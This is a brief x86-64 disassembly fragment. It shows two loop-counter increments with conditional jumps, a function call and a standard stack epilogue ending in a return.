0043bc62nop
0043bc63mov eax, [rbp+56]
0043bc66add eax, 1
0043bc69mov [rbp+56], eax
0043bc6cmov eax, [rbp+56]
0043bc6fcmp eax, 2
0043bc72jne 0x43ba5c
0043bc78nop
0043bc79mov eax, [rbp+52]
0043bc7cadd eax, 1
0043bc7fmov [rbp+52], eax
0043bc82mov eax, [rbp+52]
0043bc85cmp eax, 2
0043bc88jne 0x43ba57
0043bc8enop
0043bc8fnop
0043bc90lea rcx, [rbp+152]
0043bc97call fn_40bd40
0043bc9clea rsp, [rbp+168]
0043bca3pop rbx
0043bca4pop rsi
0043bca5pop rdi
0043bca6pop r13
0043bca8pop r14
0043bcaapop rbp
0043bcabret
0043ba30